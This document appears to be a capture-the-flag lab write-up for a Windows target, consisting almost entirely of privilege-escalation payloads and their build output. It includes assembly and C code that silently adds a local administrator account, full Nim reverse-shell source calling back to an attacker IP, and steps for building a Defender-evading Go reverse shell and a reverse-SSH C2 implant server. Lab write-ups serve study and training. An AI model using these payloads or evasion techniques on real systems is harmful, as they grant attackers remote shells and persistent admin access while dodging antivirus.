MASM
The HACKSMARTERSEC
(10.10.183.209
) host has AV enabled and enforced.
Executing malicious PE file will be flagged and removed by AV.
.586
.model flat, stdcall
option casemap:none
includelib kernel32.lib
ExitProcess proto :dword
WinExec proto :dword, :dword
.data
cmd db 'cmd /c "net user adm1n Qwer1234 /ADD && net localgroup Administrators /ADD adm1n"',0
.code
main:
push 0 ; SW_HIDE = 0 (hide console window)
push offset cmd ; Command string
call WinExec ; Execute the command
push 0 ; Exit code
call ExitProcess ; Terminate the program
end main
Creating an assembly that creates a local admin user for privilege escalation on the HACKSMARTERSEC
(10.10.183.209
) host.
C:\HackSmarterSecurity> ml /c /coff spoofer-scheduler.asm
Microsoft (R) Macro Assembler Version 14.29.30153.0
Copyright (C) Microsoft Corporation. All rights reserved.
Assembling: spoofer-scheduler.asm
C:\HackSmarterSecurity> link /SUBSYSTEM:WINDOWS /ENTRY:main spoofer-scheduler.obj
Microsoft (R) Incremental Linker Version 14.29.30153.0
Copyright (C) Microsoft Corporation. All rights reserved.
C:\HackSmarterSecurity> dir
Volume in drive C is OS
Volume Serial Number is 1AF6-BCBE
Directory of C:\HackSmarterSecurity
07/05/2025 07:28 PM <DIR> .
07/05/2025 07:19 PM <DIR> ..
07/05/2025 07:25 PM 477 spoofer-scheduler.asm
07/05/2025 07:28 PM 3,072 spoofer-scheduler.exe
07/05/2025 07:27 PM 788 spoofer-scheduler.obj
3 File(s) 4,337 bytes
2 Dir(s) 18,636,300,288 bytes free
Assembling & linking
Nim-Reverse-Shell
Reverse shell to bypass Windows Defenders.
┌──(kali㉿kali)-[~/archive/thm/hacksmartersecurity]
└─$ git clone https://github.com/Sn1r/Nim-Reverse-Shell
Cloning into 'Nim-Reverse-Shell'...
remote: Enumerating objects: 13, done.
remote: Counting objects: 100% (13/13), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 13 (delta 2), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (13/13), 4.22 KiB | 4.22 MiB/s, done.
Resolving deltas: 100% (2/2), done.
Cloning the repo
┌──(kali㉿kali)-[~/archive/thm/hacksmartersecurity/Nim-Reverse-Shell]
└─$ curl https://nim-lang.org/choosenim/init.sh -sSf | sh
choosenim-init: Downloading choosenim-0.8.12_linux_amd64
Downloading Nim 2.2.4 from nim-lang.org
[##################################################] 100.0% 0kb/s
Extracting nim-2.2.4-linux_x64.tar.xz
Extracting nim-2.2.4-linux_x64.tar
Building Nim 2.2.4
Compiler: Already built
Installed component 'nim'
Installed component 'nimble'
Installed component 'nimgrep'
Installed component 'nimpretty'
Installed component 'nimsuggest'
Installed component 'testament'
Installed component 'nim-gdb'
Switched to Nim 2.2.4
choosenim-init: ChooseNim installed in /home/kali/.nimble/bin
choosenim-init: You must now ensure that the Nimble bin dir is in your PATH.
choosenim-init: Place the following line in the ~/.profile or ~/.bashrc file.
choosenim-init: export PATH=/home/kali/.nimble/bin:$PATH
Installing Nim
import net, os, osproc, strutils
proc exe(c: string): string =
result = execProcess("cm" & "d /c " & c)
var
v = newSocket()
# Change this
v1 = "10.9.0.130"
v2 = "443"
s4 = "Exiting.."
s5 = "cd"
s6 = "C:\\"
try:
v.connect(v1, Port(parseInt(v2)))
while true:
v.send(os.getCurrentDir() & "> ")
let c = v.recvLine()
if c == "exit":
v.send(s4)
break
if c.strip() == s5:
os.setCurrentDir(s6)
elif c.strip().startswith(s5):
let d = c.strip().split(' ')[1]
try:
os.setCurrentDir(d)
except OSError as b:
v.send(repr(b) & "\n")
continue
else:
let r = exe(c)
v.send(r)
except:
raise
finally:
v.close
Modifying the Nim script to the current context.
┌──(kali㉿kali)-[~/archive/thm/hacksmartersecurity/Nim-Reverse-Shell]
└─$ nim c -d:mingw --app:gui rev_shell.nim
Hint: used config file '/home/kali/.choosenim/toolchains/nim-2.2.4/config/nim.cfg' [Conf]
Hint: used config file '/home/kali/.choosenim/toolchains/nim-2.2.4/config/config.nims' [Conf]
.......................................................................................................................................
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/system/exceptions.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/std/private/digitsutils.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/std/assertions.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/system/dollars.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/system/repr_v2.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/std/widestrs.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/std/syncio.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/system.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/pure/parseutils.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/pure/strutils.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/pure/dynlib.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/windows/winlean.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/std/oserrors.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/pure/times.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/std/private/ospaths2.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/std/private/win_setenv.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/std/cmdline.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/pure/os.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/pure/nativesockets.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/std/monotimes.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/pure/net.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/pure/streams.nim
CC: ../../../../.choosenim/toolchains/nim-2.2.4/lib/pure/osproc.nim
CC: rev_shell.nim
Hint: [Link]
Hint: mm: orc; threads: on; opt: none (DEBUG BUILD, `-d:release` generates faster code)
62047 lines; 2.400s; 91.766MiB peakmem; proj: /home/kali/archive/thm/hacksmartersecurity/Nim-Reverse-Shell/rev_shell.nim; out: /home/kali/archive/thm/hacksmartersecurity/Nim-Reverse-Shell/rev_shell.exe [SuccessX]
┌──(kali㉿kali)-[~/archive/thm/hacksmartersecurity/Nim-Reverse-Shell]
└─$ mv rev_shell.exe spoofer-scheduler.exe
Building complete for privilege escalation on the HACKSMARTERSEC
(10.10.183.209
) host.
C
#include <stdlib.h>
int main() {
system("cmd.exe /c net localgroup Administrators tyler /add");
return 0;
}
Simple C code for privilege escalation on the HACKSMARTERSEC
(10.10.183.209
) host.
┌──(kali㉿kali)-[~/archive/thm/hacksmartersecurity]
└─$ x86_64-w64-mingw32-gcc spoofer-scheduler.c -o spoofer-scheduler.exe
Compile
update_script
Another reverse shell method to bypass Defender;
update_script
┌──(kali㉿kali)-[~/archive/thm/hacksmartersecurity]
└─$ git clone https://github.com/daniellowrie/update_script cd update_script
Cloning into 'update_script'...
remote: Enumerating objects: 183, done.
remote: Counting objects: 100% (180/180), done.
remote: Compressing objects: 100% (122/122), done.
remote: Total 183 (delta 96), reused 101 (delta 57), pack-reused 3 (from 1)
Receiving objects: 100% (183/183), 4.90 MiB | 8.33 MiB/s, done.
Resolving deltas: 100% (96/96), done.
Cloning the repo
┌──(kali㉿kali)-[~/archive/thm/hacksmartersecurity/update_script]
└─$ go build SecUp.go
Building SecUp.go
┌──(kali㉿kali)-[~/archive/thm/hacksmartersecurity/update_script]
└─$ ./SecUp $tun0
LHOST: 10.9.0.130
LPORT: 443
******************************************
[!] Start your listener on port 443
[!] Press ENTER to continue...
******************************************
[!] Attack files have been generated
******************************************
[-] update_script.go
[-] r1
[-] WinSecUp
******************************************
[!] HTTP Server is running on port 8000
[!] Press CTRL+C to Exit
******************************************
[!] Compile and Upload 'update_script.exe' to target and execute
[!] Check Listener for connection
******************************************
Setting up
┌──(kali㉿kali)-[~/archive/thm/hacksmartersecurity/update_script]
└─$ GOOS=windows go build update_script.go
┌──(kali㉿kali)-[~/archive/thm/hacksmartersecurity/update_script]
└─$ mv update_script.exe spoofer-scheduler.exe
Compiling & renaming for privilege escalation on the HACKSMARTERSEC
(10.10.183.209
) host.
reverse_ssh
Another reverse shell method using SSH to bypass Defender;
reverse_ssh
This is more like a C2
┌──(kali㉿kali)-[~/archive/thm/hacksmartersecurity]
└─$ docker run -p3232:2222 -e EXTERNAL_ADDRESS=$tun0:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh
authorized_keys is not empty, ignoring SEED_AUTHORIZED_KEYS\n
2025/07/05 18:44:14 Loading files from /data
2025/07/05 18:44:14 connect back: 10.9.0.130:3232
2025/07/05 18:44:14 Version: v2.6.18-2-gd042bc4
2025/07/05 18:44:14 Listening on :2222
2025/07/05 18:44:14 Loading private key from: /data/id_ed25519
2025/07/05 18:44:14 Server key fingerprint: d67c5e650b2f4bfbaee0eff285ea9fb3a51f7b534e32dc10dce5ff3f16028162
2025/07/05 18:44:14 Started Raw Download Server
2025/07/05 18:44:14 Started Web Server
Setting up the RSSH server
┌──(kali㉿kali)-[~/archive/thm/hacksmartersecurity]
└─$ docker images reversessh/reverse_ssh
REPOSITORY TAG IMAGE ID CREATED SIZE
reversessh/reverse_ssh latest 0bb72c5830eb 6 weeks ago 2.55GB
It’s massive.
┌──(kali㉿kali)-[~/archive/thm/hacksmartersecurity]
└─$ ssh localhost -p 3232
Enter passphrase for key '/home/kali/.ssh/id_ed25519':
catcher$
Session established to the RSSH server
catcher$ link --goos windows
http://10.9.0.130:3232/f34c0affc1580f49c4fc6f5c6217096d
Generating & hosting binary for privilege escalation on the HACKSMARTERSEC
(10.10.183.209
) host.